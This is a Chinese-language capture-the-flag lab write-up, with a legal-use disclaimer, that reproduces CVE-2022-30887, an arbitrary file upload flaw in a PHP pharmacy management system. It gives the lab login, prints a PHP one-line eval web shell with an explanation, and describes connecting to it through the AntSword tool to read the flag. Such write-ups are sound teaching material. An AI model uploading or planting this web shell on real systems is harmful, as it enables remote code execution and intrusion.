声明:
我很乐意提供有关渗透测试的信息,但我必须强调,渗透测试是一项合法且专业的活动,必须在适当的授权和监督下进行。渗透测试是为了评估计算机系统、网络或应用程序的安全性,以发现潜在的漏洞和弱点,并提出改进建议。渗透测试需要专业的技能和严格的合规性,以确保不会对系统的安全性造成负面影响。
在进行渗透测试时,请务必遵守以下原则:
合法性:只在获得明确授权的情况下进行渗透测试,不要未经授权地访问、测试或侵入他人的系统。
透明度:在进行渗透测试之前,向相关方明确说明测试的目的、范围、时间和方法,并获得他们的书面同意。
谨慎性:在进行渗透测试时,务必谨慎行事,避免对系统造成不可挽回的损坏或数据泄露。
保密性:在进行渗透测试时,必须严格遵守保密协议,不得将测试结果泄露给未经授权的人员或机构。
遵守法律:在进行渗透测试时,必须遵守当地和国际法律法规,不得从事任何非法活动。
总之,渗透测试是一项高度专业和敏感的活动,必须由经验丰富的专业人士在合适的环境和条件下进行。任何未经授权或违法的渗透测试行为都是不道德且不可接受的。
漏洞介绍
1、官方报告:
通过官方报告,更准备得知该漏洞的的特性及利用方法。
2、CVE-2022-30887 是一种文件上传漏洞,多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞,进而导致任意代码执行。
思路:可以通过构造POC来获取flag。
漏洞复现
靶场:春秋云镜
打开靶场:
账号密码进行登录,通过社会工程学方法得到。
账号:mayuri.infospace@gmail.com
密码:mayurik
Shell.php的内容:
<?php @eval($_POST[cnm]);?>
这段PHP代码是一个简单的后门程序,其作用是执行通过 POST 请求发送的名为"cnm"的参数中包含的代码。让我们逐步解释这段代码的含义:
-
<?php
: 这是 PHP 代码的起始标记,表示以下内容是 PHP 代码。 -
@
: 这是 PHP 中的错误控制运算符,它会抑制后续表达式可能产生的错误消息。在这里,它的作用是忽略可能由后续的eval()
函数执行产生的错误。 -
eval()
: 这是 PHP 中的一个函数,它用于执行字符串中的 PHP 代码。在这里,它被用来执行通过 POST 请求发送的参数"cnm"中包含的代码。 -
$_POST[cnm]
: 这是 PHP 中的超全局变量$_POST
,用于获取通过 POST 请求发送的参数。$_POST['cnm']
将获取名为"cnm"的参数值,即用户在 POST 请求中发送的代码字符串。
因此,这段代码的作用是接收通过 POST 请求发送的名为"cnm"的参数中的 PHP 代码,并执行该代码。这种代码常常被黑客用于植入后门,以便在服务器上执行恶意操作,比如执行系统命令、操纵文件系统等。
开启BP,发现上传成功
利用工具蚁剑
下载地址
加载(启动)器:
https://github.com/AntSwordProject/AntSword-Loader
核心源码:
https://github.com/AntSwordProject/antSword
蚁剑安装教程
点开第一个文件夹
进行初始化并配置核心代码文件
选择之前下载好的文件 antSword-master
等待安装
安装完成,再次点击exe文件重启蚁剑
回到本题
注意:这里的连接密码就是一句话木马里面的内容
打开终端
输入cat /flag